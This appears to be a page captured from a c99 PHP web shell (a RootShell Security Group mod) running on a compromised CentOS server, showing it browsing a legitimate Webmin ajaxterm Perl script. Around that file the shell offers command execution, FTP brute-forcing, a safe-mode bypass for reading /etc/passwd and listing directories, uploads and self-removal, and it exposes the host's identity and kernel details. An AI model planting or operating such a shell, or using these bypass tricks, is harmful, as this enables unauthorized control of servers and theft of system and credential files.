!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/ajaxterm/   drwxr-xr-x
Free 50.94 GB of 127.8 GB (39.85%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     index.cgi (2.47 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Start the Ajaxterm webserver on a random port, then print an iframe for
# a URL that proxies to it

BEGIN { push(@INC, ".."); };
use WebminCore;
use Socket;
&init_config();

&ui_print_header(undef, $text{'index_title'}, "", undef, 1, 1);

# Check for python
$python = &has_command("python");
if (!$python) {
    &ui_print_endpage(&text('index_epython', "<tt>python</tt>"));
    }

# Pick a free port
&get_miniserv_config(\%miniserv);
$port = $miniserv{'port'} + 1;
$proto = getprotobyname('tcp');
socket(TEST, PF_INET, SOCK_STREAM, $proto) ||
    &error("Socket failed : $!");
setsockopt(TEST, SOL_SOCKET, SO_REUSEADDR, pack("l", 1));
while(1) {
    last if (bind(TEST, sockaddr_in($port, INADDR_ANY)));
    $port++;
    }
close(TEST);

# Run the Ajaxterm webserver
$pid = fork();
if (!$pid) {
    chdir("$module_root_directory/ajaxterm");
    $logfile = $ENV{'WEBMIN_VAR'}.'/ajaxterm.log';
    untie(*STDIN); open(STDIN, "</dev/null");
    untie(*STDOUT); open(STDOUT, ">$logfile");
    untie(*STDERR); open(STDERR, ">$logfile");
    $shell = &has_command("bash") ||
         &has_command("sh") || "/bin/sh";
    @uinfo = getpwnam("root");
    $home = $uinfo[7] || "/";
    $shell = "$shell -c ".quotemeta("cd '$home' ; exec $shell");
    exec($python, "ajaxterm.py", "--port", $port, "--log",
         $config{'autologin'} ? ("--command", $shell) : ( ));
    exit(1);
    }

# Wait for it to come up
$try = 0;
while(1) {
    my $err;
    &open_socket("localhost", $port, TEST2, \$err);
    last if (!$err);
    $try++;
    if ($try > 30) {
        &error(&text('index_estart', 30, $port));
        }
    sleep(1);
    }
close(TEST2);

# Show the iframe
print "<center>\n";
print "<iframe src=$gconfig{'webprefix'}/$module_name/proxy.cgi/$port/ ",
      "width=700 height=500 frameborder=0></iframe><br>\n";
print "<input type=button onClick='window.open(\"proxy.cgi/$port/\", \"ajaxterm\", \"toolbar=no,menubar=no,scrollbars=no,resizable=yes,width=700,height=500\")' value='$text{'index_popup'}'><p>\n";
print &text('index_credits', 'http://antony.lesuisse.org/software/ajaxterm/'),
      "<p>\n";
print "</center>\n";

# Fork process that checks for inactivity
if (!fork()) {
    untie(*STDIN); close(STDIN);
    untie(*STDOUT); close(STDOUT);
    untie(*STDERR); close(STDERR);
    $statfile = "$ENV{'WEBMIN_VAR'}/ajaxterm/$port";
    while(1) {
        my @st = stat($statfile);
        if (@st && time() - $st[9] > $config{'timeout'}) {
            # No activity
            last;
            }
        if (!kill(0, $pid)) {
            # Dead
            last;
            }
        sleep(10);
        }
    unlink($statfile);
    kill('KILL', $pid);
    exit(0);
    }

&ui_print_footer("/", $text{'index'});


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0116 ]--